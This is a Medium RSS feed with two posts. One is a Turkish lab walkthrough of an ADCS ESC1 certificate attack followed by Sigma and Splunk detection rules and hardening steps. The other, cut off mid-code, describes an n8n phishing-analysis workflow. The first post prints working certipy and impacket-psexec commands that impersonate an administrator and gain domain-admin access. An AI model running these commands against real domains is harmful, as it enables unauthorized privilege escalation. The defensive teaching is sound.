<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mustafa Gürkan Karakaya on Medium]]></title>
        <description><![CDATA[Stories by Mustafa Gürkan Karakaya on Medium]]></description>
        <link>https://medium.com/@mustafagurkankarakaya?source=rss-befaf90d3d95------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*NpPsFIxDOM998aTi1IjZeA.jpeg</url>
            <title>Stories by Mustafa Gürkan Karakaya on Medium</title>
            <link>https://medium.com/@mustafagurkankarakaya?source=rss-befaf90d3d95------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 23:06:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mustafagurkankarakaya/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Active Directory Certificate Services (ADCS) Saldırıları]]></title>
            <link>https://medium.com/@mustafagurkankarakaya/active-directory-certificate-services-adcs-sald%C4%B1r%C4%B1lar%C4%B1-a907f4e8d484?source=rss-befaf90d3d95------2</link>
            <guid isPermaLink="false">https://medium.com/p/a907f4e8d484</guid>
            <dc:creator><![CDATA[Mustafa Gürkan Karakaya]]></dc:creator>
            <pubDate>Mon, 06 Apr 2026 07:17:49 GMT</pubDate>
            <atom:updated>2026-04-06T07:17:49.181Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ARUJk-RZhjtqK-CfYp-wQ.jpeg" /></figure><p>Active Directory ortamlarında kullanılan <strong>Active Directory Certificate Services (ADCS)</strong>, kullanıcı ve servislerin sertifika tabanlı kimlik doğrulaması yapmasını sağlayan kritik bir bileşendir; ancak yanlış yapılandırıldığında ciddi güvenlik açıklarına yol açabilir. ADCS sertifika atağı, bir saldırganın sertifika şablonlarındaki (template) hatalı ayarları kullanarak başka bir kullanıcı —<strong> çoğunlukla administrato</strong>r — adına sertifika alması ve bu sertifika ile kimlik doğrulaması yaparak yetki yükseltmesi gerçekleştirmesi üzerine kuruludur. En yaygın senaryolardan biri olan <strong>ESC1 </strong>zafiyetinde, “<strong>Enrollee Supplies Subject</strong>” ayarının açık olması sayesinde kullanıcı, sertifika isteği sırasında kendi kimliği yerine istediği kullanıcıyı (örneğin administrator) belirtebilir ve eğer template üzerinde Client Authentication izni varsa, bu sertifika ile Kerberos üzerinden <strong>Ticket Granting Ticket (TGT)</strong> alarak domain admin yetkilerine erişebilir. Bu saldırı özellikle tehlikelidir çünkü parola gerektirmez, mevcut güvenlik kontrollerini atlatabilir ve çoğu ortamda gerekli loglama (örneğin Event ID 4886/4887) varsayılan olarak kapalı olduğu için tespit edilmesi zordur; ayrıca saldırgan elde ettiği erişimi “<strong>golden certificate</strong>” gibi tekniklerle kalıcı hale getirebilir. Bu nedenle <strong>ADCS </strong>yapılandırmalarında “<strong>Supply in the request</strong>” gibi ayarların kapatılması, template erişimlerinin sınırlandırılması ve sertifika servislerine yönelik detaylı audit loglarının aktif edilmesi kritik önem taşır.</p><p><strong>ADCS Ortamı Kurulumu</strong></p><pre>Add-WindowsFeature ADCS-Cert-Authority -IncludeManagementTools<br><br><br><br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*FveXZ8xgTLpUAR8uyvxxHw.png" /></figure><pre>Install-AdcsCertificationAuthority `<br>-CAType EnterpriseRootCA `<br>-CACommonName &quot;LAB-DC-CA&quot; `<br>-CryptoProviderName &quot;RSA#Microsoft Software Key Storage Provider&quot; `<br>-KeyLength 2048 `<br>-HashAlgorithmName SHA256</pre><pre>certtmpl.msc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yVaJjwxPr8qioCAjwTWDhw.png" /></figure><p><strong>User Template’i Clonelanır</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w9BiQByTLA373CxMY4My8Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qf7poQcRLnLMk8DbbBw1cA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S9ZGvxcEZHPbxmBTM6cQrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IcVRd0LnIUZpjRlrnilJlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UVNxrNKkQcun3Wau20HnjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MofPn-ArddNisWwqk8n-JA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nn6tm5U_gzg6YM_bum6r_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*mQN98Oq3vM89Qdy3xCPNBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*W5W7a5I3xFwddy1BGhyQwQ.png" /></figure><p><strong>Certipy Kurulum Adımları</strong></p><pre>sudo apt update<br>sudo apt install -y python3-pip pipx<br>pipx ensurepath<br>pipx install certipy-ad</pre><pre>certipy find -u certtest@gurkan.com -p &#39;pass&#39; -dc-ip 192.168.93.132</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kA7CCq-q-nULactlhheLXA.png" /></figure><pre>certipy find -u certtest@gurkan.com -p &#39;pass&#39; -dc-ip 192.168.93.132 -stdout<br>certipy find -u certtest@gurkan.com -p &#39;pass&#39; \<br>-dc-ip 192.168.93.132 \<br>-ldap-scheme ldap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ITfNpbt9_t9hGlmHiKeW_w.png" /></figure><pre>certipy req -u certtest@gurkan.com -p &#39;pass&#39; -ca LAB-DC-CA -template VulnTemplate -upn administrator@gurkan.com -dc-ip 192.168.93.132<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C1Haj5uxLbsr8BkNYsIdOw.png" /></figure><pre>certipy auth -pfx administrator.pfx -dc-ip 192.168.93.132</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ImkelLMR6T115zAXmpvtqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*PJvWXkSactfvIsRi" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RJzTqAfjWY9FPTy2QHYkjQ.png" /></figure><pre>impacket-psexec -hashes …. gurkan.com/administrator@192.168.93.12</pre><p><strong>Sertifika Sunucusunda Loglamaların Açılması</strong></p><pre>auditpol /set /subcategory:&quot;Certification Services&quot; /success:enable /failure:enable</pre><p><strong>Kontrol</strong></p><pre>auditpol /get /subcategory:&quot;Certification Services&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zVAdP6v1c8R-JpIAX_wv6w.png" /></figure><pre>net stop certsvc<br>net start certsvc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*7NVo8PeybqqByGrkzwyIyg.png" /></figure><pre>certutil -setreg CA\AuditFilter 127</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*jSQLtA52UDW6ZKszE0_q3g.png" /></figure><p><strong>Tespit</strong></p><p><strong>Sigma Kuralı</strong></p><pre>title: ADCS Certificate Requested on Behalf of Another User - Potential Impersonation<br>id: 3f8a1b4c-7d2e-4f09-a5c6-9e0b3d7f2a18<br>status: experimental<br>description: |<br>    Bir kullanıcının kendi kimliği ile başka bir kullanıcı adına<br>    sertifika talep etmesini tespit eder. Event ID 4887 logunda<br>    Requester (talep eden) ile Subject (sertifikanın verildiği kişi)<br>    alanları farklı olduğunda tetiklenir. Bu durum ESC1 saldırısında<br>    saldırganın SAN alanına hedef kullanıcının UPN&#39;ini yazmasıyla<br>    veya Enrollment Agent yetkisinin kötüye kullanılmasıyla oluşur.<br>references:<br>    - https://posts.specterops.io/certified-pre-owned-d95910965cd2<br>    - https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4887<br>author: Mustafa Gürkan KARAKAYA<br>date: 2026/04/05<br>tags:<br>    - attack.credential_access<br>    - attack.t1649<br>    - attack.privilege_escalation<br>    - attack.t1134.001<br><br>logsource:<br>    product: windows<br>    service: security<br><br>detection:<br>   <br>    selection:<br>        EventID: 4887<br><br>  <br>    filter_machine_requester:<br>        Requester|endswith: &#39;$&#39;<br><br>   <br>    filter_enrollment_agent_template:<br>        CertificateTemplate|contains:<br>            - &#39;EnrollmentAgent&#39;<br>            - &#39;EnrollmentAgentOffline&#39;<br>            - &#39;CEPEncryption&#39;<br><br>    <br>    filter_ca_service:<br>        Requester|contains:<br>            - &#39;SYSTEM&#39;<br>            - &#39;NETWORK SERVICE&#39;<br><br>   <br>    filter_autoenrollment:<br>        Requester|contains:<br>            - &#39;AutoEnrollment&#39;<br><br>    condition: selection and not filter_machine_requester and not filter_enrollment_agent_template and not filter_ca_service and not filter_autoenrollment<br><br>falsepositives:<br>    - Onaylanmış Enrollment Agent operatörleri (helpdesk smartcard dağıtımı)<br>    - SCCM/ConfigMgr sertifika provisioning<br>    - Özel PKI otomasyon scriptleri<br>level: high<br><br>---<br></pre><p><strong>Splunk SPL</strong></p><pre>index=wineventlog sourcetype=&quot;WinEventLog:Security&quot; EventCode=4887<br>| eval requester=lower(mvindex(Account_Name, 0)),<br>       subject=lower(Subject)<br>| where requester!=subject<br>| where NOT match(requester, &quot;\$$&quot;)<br>| where NOT match(requester, &quot;(?i)^(system|network service|local service)$&quot;)<br>| where NOT match(CertificateTemplate, &quot;(?i)(enrollmentagent|cepencryption)&quot;)<br>| eval mismatch=&quot;[&quot;.requester.&quot;] -&gt; [&quot;.subject.&quot;]&quot;<br>| stats<br>    count as toplam_talep,<br>    values(CertificateTemplate) as templateler,<br>    values(mismatch) as eslesmeyenler,<br>    values(src_ip) as kaynak_ip,<br>    earliest(_time) as ilk,<br>    latest(_time) as son<br>    by requester<br>| eval<br>    ilk=strftime(ilk, &quot;%Y-%m-%d %H:%M:%S&quot;),<br>    son=strftime(son, &quot;%Y-%m-%d %H:%M:%S&quot;)<br>| sort -toplam_talep<br>| table requester, eslesmeyenler, templateler, toplam_talep, kaynak_ip, ilk, son</pre><h3>Hardening Adımları</h3><h3>1) Supply in the Request Seçeneğinin Kapatılması</h3><p>Bu, tüm <strong>ESC1 </strong>saldırılarının temelidir. Template özelliklerinde Subject Name sekmesine gidilmeli. “<strong>Supply in the request</strong>” yerine “<strong>Build from this Active Directory information</strong>” seçeneğini işaretlenmelidir.</p><p>Bu değişiklikle kullanıcı artık <strong>SAN </strong>alanına istediği <strong>UPN’i </strong>yazamaz. Sertifikadaki kimlik bilgisi <strong>AD’den </strong>otomatik çekilir.</p><p>certtmpl.msc → İlgili Template → Properties → Subject Name → &quot;Build from this Active Directory information&quot;</p><p><strong>2) CA Seviyesinde SAN Eklemenin Engellenmesi</strong></p><p>Template düzeyinde kapatmak yeterli olmayabilir. CA’nın kendisinde EDITF_ATTRIBUTESUBJECTALTNAME2 flag&#39;i aktifse, herhangi bir template üzerinden <strong>SAN </strong>eklenebilir. Bu flag&#39;i mutlaka kaldırılmalıdır:</p><pre>certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2<br>net stop certsvc &amp;&amp; net start certsvc</pre><p>Bu komut CA’yı yeniden başlatır.</p><p><strong>3) Manager Approval Ayarının Zorunlu Kılınması</strong></p><p>Riskli template’lerde her sertifika talebinin bir CA yöneticisi tarafından onaylanmasının zorunlu kılınması gerekir.Bu, otomatik istismarı tamamen engeller çünkü saldırgan talebi gönderebilir ama onaylayamaz.</p><pre>certtmpl.msc → Template → Properties → Issuance Requirements <br>→ &quot;CA certificate manager approval&quot; <br><br></pre><h3>4) Enrollment Yetkilerininin Sınırlandırılması</h3><p>Birçok varsayılan template’te <strong><em>Authenticated Users</em></strong> veya <strong><em>Domain Users</em></strong> gruplarına Enroll yetkisi verilmiştir. Bu, domain&#39;deki herkesin o template üzerinden sertifika talep edebileceği anlamına gelir.</p><p>Her template için <strong>Enroll </strong>ve <strong>AutoEnroll </strong>izinlerini gözden geçirilmelidir.. Sadece gerçekten ihtiyacı olan grupları bırakın. Bir template’i yalnızca 5 kişi kullanıyorsa, o 5 kişiyi içeren bir güvenlik grubu oluşturup sadece o gruba yetki verin.</p><h3>5) Kullanılmayan Template’lerin Kaldırılması</h3><p>CA üzerinde publish edilmiş ancak aktif olarak kullanılmayan template’ler gereksiz saldırı yüzeyi oluşturur. certsrv.msc üzerinden Certificate Templates klasörüne gidilip kullanılmayan template&#39;ler unpublish edilmelidir.</p><p>Özellikle dikkat edilmesi gerekenler: <strong>SubCA</strong>, <strong>User</strong>, <strong>SmartcardLogon</strong>, <strong>WebServer </strong>ve <strong>DirectoryEmailReplication</strong>. Bunlar varsayılan olarak gelir ve çoğu ortamda kullanılmaz.</p><h3>6)Enrollment Agent Yetkisinin Kısıtlanması</h3><p><strong>Enrollment Agent</strong>, başka kullanıcılar adına sertifika talep edebilen özel bir roldür. Kısıtlanmazsa saldırgan bu yetkiyi ele geçirdiğinde herkes adına sertifika alabilir.</p><p><strong>CA Properties → Enrollment Agents </strong>sekmesinde şunları tanımlayın: hangi Enrollment Agent’lar var, hangi template’leri kullanabilirler ve kimlerin adına sertifika talep edebilirler. <strong>“Do not restrict enrollment agents</strong>” seçeneğini asla bırakmayın.</p><p><strong>7) CA Yönetim Yetkilerini Sıkılaştır (ESC7)</strong></p><p>CA üzerinde iki kritik yetki vardır: <strong>ManageCA </strong>ve <strong>ManageCertificates</strong>. ManageCA yetkisine sahip biri CA yapılandırmasını değiştirebilir, ManageCertificates yetkisine sahip biri ise bekleyen sertifika taleplerini onaylayabilir.</p><p>Bu yetkiler sadece <strong>PKI </strong>yönetici grubuna verilmeli. <strong>Domain Admins </strong>bile varsayılan olarak bu yetkiye sahip olmamalı, ayrı bir PKI Admins grubu oluşturulması gerekmektedir.</p><h3>8) Web Enrollment’ı Kapatılması veya Güvenli Hale Getirilmesi (ESC8)</h3><p><strong>ADCS Web Enrollment </strong>(certsrv) HTTP üzerinden çalışıyorsa, <strong>NTLM relay</strong> saldırısına açıktır. Saldırgan bir makine hesabının <strong>NTLM </strong>hash&#39;ini bu endpoint&#39;e relay ederek sertifika alabilir.</p><p>İhtiyacınız yoksa Web Enrollment’ı tamamen kaldırılmalıdır. Gerekiyorsa HTTPS zorunlu kılınmalı ve Extended Protection for Authentication (EPA) aktif edilmelidir.. Ayrıca <strong>Require SSL</strong> seçeneğini IIS üzerinden açılmalıdır.</p><p><strong>9)Denetim (Audit) Politikalarının Açılması</strong></p><p>Hardening yaptıktan sonra bile izleme şarttır. <strong>CA</strong> sunucusunda şu audit ayarları açılmalıdır.</p><pre>certsrv.msc → CA Properties → Auditing sekmesi:<br>  ✓ Back up and restore the CA database<br>  ✓ Change CA configuration<br>  ✓ Change CA security settings<br>  ✓ Issue and manage certificate requests<br>  ✓ Revoke certificates and publish CRLs<br>  ✓ Store and retrieve archived keys<br>  ✓ Start and stop AD CS</pre><p>Windows tarafında ise Group Policy ile <strong>Audit Certification Services</strong> politikasını <strong>Success </strong>ve <strong>Failure </strong>olarak etkinleştirilmeldir.. Bu sayede Event ID <strong>4886</strong>, <strong>4887</strong>, <strong>4888 </strong>logları üretilir.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a907f4e8d484" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AI-Powered Email Analysis With n8n]]></title>
            <link>https://medium.com/@mustafagurkankarakaya/ai-powered-email-analysis-playbook-2db4dbf83e99?source=rss-befaf90d3d95------2</link>
            <guid isPermaLink="false">https://medium.com/p/2db4dbf83e99</guid>
            <dc:creator><![CDATA[Mustafa Gürkan Karakaya]]></dc:creator>
            <pubDate>Tue, 17 Feb 2026 17:00:44 GMT</pubDate>
            <atom:updated>2026-02-18T04:21:20.796Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0XyMrmMXUqWKzw-57bilXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ds4uGX4xFgkiz6kNhdDrhA.png" /></figure><h3>Overview</h3><p>Modern phishing and email-borne attacks have evolved beyond simple indicators such as malicious domains or suspicious senders. Attackers now leverage compromised infrastructure, trusted cloud services, and polymorphic payloads to evade traditional security controls.<br>An <strong>AI-Powered Email Analysis Playbook</strong> addresses this challenge by combining <strong>deterministic analysis</strong>, <strong>containerized tooling</strong>, <strong>threat intelligence</strong>, <strong>sandboxing</strong>, and <strong>AI-driven reasoning</strong> into a single automated workflow.</p><p>This playbook is designed to ingest a suspicious email and produce a <strong>comprehensive verdict</strong>, while ensuring isolation, scalability, and reproducibility through <strong>Docker-based execution</strong>.</p><h3>1. Email Header Analysis</h3><p>The first stage of the playbook focuses on <strong>email header analysis</strong>, which provides critical context about the message’s origin, delivery path, and authenticity.</p><h3>Objectives</h3><ul><li>Identify sender spoofing or impersonation attempts</li><li>Detect anomalous mail routing</li><li>Validate authentication mechanisms</li></ul><h3>Analysis Performed</h3><ul><li><strong>SPF (Sender Policy Framework)</strong> validation</li><li><strong>DKIM (DomainKeys Identified Mail)</strong> signature verification</li><li><strong>DMARC policy evaluation</strong></li><li>Analysis of Received headers to reconstruct the delivery chain</li><li>Detection of mismatches between From, Return-Path, and Reply-To</li></ul><h3>Tooling</h3><p>Header analysis is performed using containerized tools such as:</p><ul><li>mailparser-based analyzers</li><li>Custom Python parsers (RFC 5322 compliant)</li><li>Open-source tools like mha or emailrep-header-analyzer</li></ul><p>Each tool runs inside a <strong>dedicated Docker container</strong>, ensuring:</p><ul><li>No cross-contamination between analyses</li><li>Consistent execution across environments</li><li>Easy tool versioning and updates</li></ul><h3>2. URL Extraction and Reputation Analysis</h3><p>After header analysis, the playbook extracts <strong>all URLs present in the email body</strong>, including:</p><ul><li>Visible hyperlinks</li><li>Obfuscated URLs</li><li>URLs embedded in HTML attributes</li><li>Shortened links</li></ul><h3>URL Extraction</h3><p>A Dockerized extraction engine parses:</p><ul><li>Plain text</li><li>HTML</li><li>Base64-encoded sections</li></ul><p>Normalization is applied to:</p><ul><li>Expand shortened URLs</li><li>Decode encoded characters</li><li>Resolve redirect chains (safely, without execution)</li></ul><h3>Reputation Analysis</h3><p>Each extracted URL is queried against multiple <strong>reputation and threat intelligence sources</strong>, such as:</p><ul><li>Domain reputation feeds</li><li>Phishing databases</li><li>Malware URL blocklists</li><li>Passive DNS and WHOIS data</li></ul><p>This step correlates:</p><ul><li>Domain age</li><li>Hosting ASN</li><li>Known malicious history</li><li>Campaign associations</li></ul><p>All reputation lookups are performed by <strong>isolated Docker images</strong>, allowing parallel execution and preventing API key leakage.</p><h3>3. Attachment Detection and Extraction</h3><p>If the email contains attachments, the playbook automatically detects and extracts them for further analysis.</p><h3>Supported Attachment Types</h3><ul><li>Office documents (DOCX, XLSX, PPTX)</li><li>PDFs</li><li>Archives (ZIP, RAR, ISO)</li><li>Executables and scripts</li><li>Embedded objects</li></ul><h3>Extraction Process</h3><p>Attachments are extracted using containerized tools such as:</p><ul><li>MIME parsers</li><li>Archive unpackers</li><li>Document structure analyzers</li></ul><p>Docker isolation ensures:</p><ul><li>No accidental execution</li><li>Safe handling of malformed or weaponized files</li></ul><h3>4. Attachment Reputation and Sandbox Analysis</h3><p>Once extracted, attachments undergo <strong>two parallel analysis paths</strong>:</p><h3>4.1 Reputation Analysis</h3><ul><li>Hashes (MD5, SHA1, SHA256) are calculated</li><li>Hashes are checked against:</li><li>Malware databases</li><li>Threat intelligence platforms</li><li>Internal SOC knowledge bases</li></ul><p>This provides fast verdicts for known threats.</p><h3>4.2 Sandbox Analysis</h3><p>Unknown or suspicious attachments are submitted to <strong>sandbox environments</strong> for dynamic analysis.</p><p>Sandbox analysis observes:</p><ul><li>Process execution</li><li>Network connections</li><li>File system changes</li><li>Registry modifications</li><li>Persistence mechanisms</li></ul><p>Sandbox tools are accessed via <strong>dedicated Docker connectors</strong>, ensuring controlled submission and result collection.</p><p>Results include:</p><ul><li>Behavioral scores</li><li>Extracted Indicators of Compromise (IOCs)</li><li>Detonation screenshots or traces</li></ul><h3>5. AI-Based Email Content Analysis</h3><p>Beyond technical indicators, the playbook performs <strong>semantic and contextual analysis</strong> using AI models.</p><h3>Execution Environment</h3><ul><li>A dedicated Docker image hosts the parsing and AI interaction logic</li><li>Email content is sanitized and normalized before analysis</li></ul><h3>AI Prompting Strategy</h3><p>A <strong>specific, structured prompt</strong> is used to guide the AI model to:</p><ul><li>Identify phishing intent</li><li>Detect social engineering patterns</li><li>Analyze tone, urgency, and coercion</li><li>Correlate technical findings with narrative context</li></ul><p>The AI does <strong>not operate blindly</strong>; it receives:</p><ul><li>Header analysis results</li><li>URL reputation summaries</li><li>Attachment verdicts</li><li>Sandbox findings</li></ul><p>This enables <strong>context-aware reasoning</strong>, not just text classification.</p><h3>6. Correlation and Final Verdict</h3><p>All analysis stages are then <strong>correlated</strong> into a single decision engine.</p><h3>Correlation Logic</h3><ul><li>Conflicting indicators are weighted</li><li>Known-bad signals override ambiguous AI findings</li><li>Confidence scores are calculated</li></ul><h3>Output Generation</h3><p>The final output includes:</p><ul><li>Overall verdict (Malicious / Suspicious / Benign)</li><li>Supporting evidence</li><li>Extracted IOCs</li><li>Recommended response actions</li></ul><h3>7. Reporting and Delivery</h3><p>The playbook concludes by distributing the results through multiple channels:</p><h3>Email Reporting</h3><ul><li>A structured summary is automatically generated</li><li>Results are sent to analysts or requestors via email</li></ul><h3>PDF Report Generation</h3><ul><li>The same data is rendered into a <strong>downloadable PDF</strong></li><li>The PDF is accessible through the platform’s web interface</li><li>Suitable for incident documentation and compliance audits</li></ul><p>PDF generation is also handled by a <strong>Dockerized reporting service</strong>, ensuring consistent formatting and scalability.</p><h3>Conclusion</h3><p>The <strong>AI-Powered Email Analysis Playbook</strong> combines:</p><ul><li>Deterministic security controls</li><li>Containerized tooling</li><li>Threat intelligence</li><li>Sandbox detonation</li><li>AI-driven reasoning</li></ul><p>By leveraging Docker at every stage, the playbook ensures <strong>security, isolation, and scalability</strong>, while AI enhances detection by understanding attacker intent rather than relying solely on static indicators.</p><p>This approach enables SOC teams to move from reactive email inspection to <strong>automated, explainable, and intelligence-driven email defense</strong>.</p><p><strong>Architecture Diagram</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wigoohwMBQzgfAVQuxjlwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eLlO2ORVdZ9edD3G0H-0Zw.png" /></figure><p><strong>1. Webhook Ingestion (Entry Point)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*-jzCX0u_xdXQdaRtcwWwbg.png" /></figure><p><strong>2. Code Node</strong></p><p><em>This Code node takes any uploaded </em><strong><em>.eml</em></strong><em> file, processes its raw email content, and converts it into a </em><strong><em>binary.eml</em></strong><em> file format. This conversion ensures the email is handled as a binary object, making it suitable for downstream processing such as parsing, extraction, analysis, and transfer between workflow nodes or containerized tools.</em></p><pre><br>const b = items[0].binary || {};<br>const keys = Object.keys(b);<br><br>if (!keys.length) {<br>  throw new Error(&quot;No binary data found in input item&quot;);<br>}<br><br>const src = b.eml ? &quot;eml&quot; : keys[0];  <br>items[0].binary = items[0].binary || {};<br>items[0].binary.eml = b[src];<br><br>return items;</pre><p><strong>3.HTTP Request</strong></p><p><em>This Docker command starts a lightweight, containerized EML parsing service that runs alongside n8n and exposes an HTTP API for email analysis. Inside a minimal Node.js 20 Alpine container, it dynamically initializes a small Express application that accepts uploaded </em><em>.eml files, safely parses their raw email content using </em><em>mailparser, and extracts structured information such as sender and reply-to addresses, subject, plain-text and HTML bodies, authentication results (SPF/DKIM/DMARC), received headers, and all embedded URLs. The service runs in isolation on the same Docker network as n8n, ensuring secure internal communication, and returns all extracted data as clean JSON, making it ideal for automated email security workflows, threat intelligence enrichment, AI-based analysis, and downstream correlation without ever executing or persisting the email content.</em></p><pre>docker run -d --name eml-parser \<br>  --network n8n_default \<br>  -p 3000:3000 \<br>  node:20-alpine sh -lc &#39;<br>    mkdir -p /app &amp;&amp; cd /app<br>    npm init -y &gt;/dev/null 2&gt;&amp;1<br>    npm i express multer mailparser &gt;/dev/null 2&gt;&amp;1<br><br>    cat &gt; server.js &lt;&lt; &quot;JS&quot;<br>const express = require(&quot;express&quot;);<br>const multer = require(&quot;multer&quot;);<br>const { simpleParser } = require(&quot;mailparser&quot;);<br><br>const app = express();<br>const upload = multer();<br><br>function extractUrls(text) {<br>  if (!text) return [];<br>  const re = /https?:\/\/[^\s&lt;&gt;&quot;\]]+/gi;<br>  return Array.from(new Set((text.match(re) || []).map(u =&gt; u.replace(/[),.]+$/g, &quot;&quot;))));<br>}<br><br>function addr(a) {<br>  if (!a) return null;<br>  if (typeof a === &quot;string&quot;) return a;<br>  if (a.text) return a.text;<br>  if (Array.isArray(a.value) &amp;&amp; a.value[0]) {<br>    const v = a.value[0];<br>    return v.address ? (v.name ? `${v.name} &lt;${v.address}&gt;` : v.address) : null;<br>  }<br>  return null;<br>}<br><br>app.post(&quot;/parse-eml&quot;, upload.single(&quot;file&quot;), async (req, res) =&gt; {<br>  try {<br>    if (!req.file || !req.file.buffer) {<br>      return res.status(400).json({ error: &quot;file field missing&quot; });<br>    }<br><br>    const mail = await simpleParser(req.file.buffer);<br><br>    const from = addr(mail.from);<br>    const replyTo = addr(mail.replyTo);<br>    const subject = mail.subject || &quot;&quot;;<br>    const bodyText = mail.text || &quot;&quot;;<br>    const bodyHtml = typeof mail.html === &quot;string&quot; ? mail.html : &quot;&quot;;<br><br>    const urls = extractUrls(bodyText + &quot;\n&quot; + bodyHtml);<br>    const authResults = mail.headers.get(&quot;authentication-results&quot;) || &quot;&quot;;<br>    const received = mail.headers.get(&quot;received&quot;) || [];<br><br>    res.json({<br>      from,<br>      reply_to: replyTo,<br>      subject,<br>      body_text: bodyText,<br>      body_html: bodyHtml,<br>      urls,<br>      authentication_results: String(authResults),<br>      received: Array.isArray(received) ? received.map(String) : [String(received)]<br>    });<br>  } catch (e) {<br>    res.status(500).json({ error: e.message || String(e) });<br>  }<br>});<br><br>app.listen(3000, &quot;0.0.0.0&quot;, () =&gt; {<br>  console.log(&quot;eml-parser listening on 3000&quot;);<br>});<br>JS<br><br>    node server.js<br>  &#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*bzDHLClIfb15WkT57bDhTQ.png" /></figure><p><strong>4.Split Out</strong></p><p><em>The </em><strong><em>Split Out node</em></strong><em> is used to take the list of extracted URLs produced by the parsing stage and split them into individual items so that each URL can be processed independently within the workflow. Instead of handling all URLs as a single array, the node creates one execution item per URL, enabling n8n to loop over them and apply reputation checks, enrichment, or scoring logic on a per-URL basis.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*FrrnvMjC9V6UzRJhnQ_4MA.png" /></figure><p><strong>5.Code Node1</strong></p><p><em>This code snippet is used as a control step in the workflow to determine whether a valid URL is present before continuing with further processing. It reads the </em><em>url value from the current JSON item and first checks if the URL exists; if no URL is found, the logic safely short-circuits the execution by returning a structured response that marks the item as skipped, along with a clear reason (</em><em>no_url_found) for traceability and debugging. If a URL is present, the code allows the workflow to continue by explicitly passing the URL forward and flagging it as not skipped, ensuring that downstream nodes such as reputation checks or enrichment logic only operate on valid, actionable URL data.</em></p><pre>const url = $json.url;<br><br><br>if (!url) {<br>  return {<br>    json: {<br>      url: null,<br>      skipped: true,<br>      reason: &quot;no_url_found&quot;<br>    }<br>  };<br>}<br><br><br>return {<br>  json: {<br>    url,<br>    skipped: false<br>  }<br>};</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*oKpIDfQS_q1QizZbHmH8_g.png" /></figure><p><strong>6.Code Node2</strong></p><p><em>This node acts as a </em><strong><em>response-normalization step</em></strong><em> in the workflow, taking the JSON output from a previous analysis node and reshaping it into a clean, consistent structure for downstream consumption. It reads the first incoming item, extracts the evaluated URL along with its decision, score, and explanatory reasoning, and wraps them into a standardized response object with an explicit </em><em>status field set to </em><em>&quot;ok&quot;. By doing so, the node ensures that each URL analysis result is returned in a predictable format, making it easier to merge results, correlate findings across multiple URLs, and include clear, human-readable evidence in final reports or AI-driven summary stages.</em></p><pre>const j = items[0].json;<br><br>return [<br>  {<br>    json: {<br>      status: &quot;ok&quot;,<br>      url: j.url,          <br>      decision: j.decision,<br>      score: j.score,<br>      why: j.why<br>    }<br>  }<br>];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*giUFr9R5n6q2kQRk56Rx9Q.png" /></figure><p><strong>7.Code Node3</strong></p><p><em>This node is used as a </em><strong><em>safety and normalization checkpoint</em></strong><em> after the Split Out and Loop stages, where each execution is expected to handle a single URL. It first verifies that a URL is actually present in the current item; if not, it applies a safe fallback by returning a structured placeholder response instead of allowing the workflow to fail, ensuring overall pipeline resilience. When a URL is available, the node optionally normalizes it by converting it to a string and trimming whitespace, then forwards the cleaned URL in a minimal JSON structure, preparing it for reliable downstream processing such as reputation checks, scoring, or enrichment.</em></p><pre><br>if (!$json.url) {<br>  <br>  return [{<br>    json: {<br>   